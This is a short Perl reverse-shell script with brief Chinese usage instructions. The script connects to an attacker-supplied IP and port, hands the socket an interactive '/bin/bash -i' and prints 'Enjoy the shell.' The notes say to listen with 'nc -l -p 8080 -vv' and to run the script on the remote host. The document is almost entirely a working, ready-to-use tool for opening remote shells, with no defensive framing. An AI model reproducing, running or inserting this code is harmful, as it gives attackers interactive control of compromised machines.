#!/usr/bin/perl -w   
#   
  
use strict;   
use Socket;   
use IO::Handle;   
  
if($#ARGV+1 != 2){   
       print “$#ARGV $0 Remote_IP Remote_Port \n”;   
        exit 1;   
}   
  
my $remote_ip = $ARGV[0];   
my $remote_port = $ARGV[1];   
  
my $proto = getprotobyname(“tcp”);   
my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));   
  
my $shell = ‘/bin/bash -i’;   
  
socket(SOCK, AF_INET, SOCK_STREAM, $proto);   
  
STDOUT->autoflush(1);   
SOCK->autoflush(1);   
  
connect(SOCK,$pack_addr) or die “can not connect:$!”;   
  
open STDIN, “<&SOCK”;   
open STDOUT, “>&SOCK”;   
open STDERR, “>&SOCK”;   
  
print “Enjoy the shell.\n”;             
  
system($shell);   
close SOCK;   
  
exit 0;   

本机执行netcat.命令

nc -l -p 8080 -vv

远程:

./tcp.pl yourip 8080

perl和bash路径要自己修改,不过一般不用修改的.

文件改为755再运行.否则执行不起来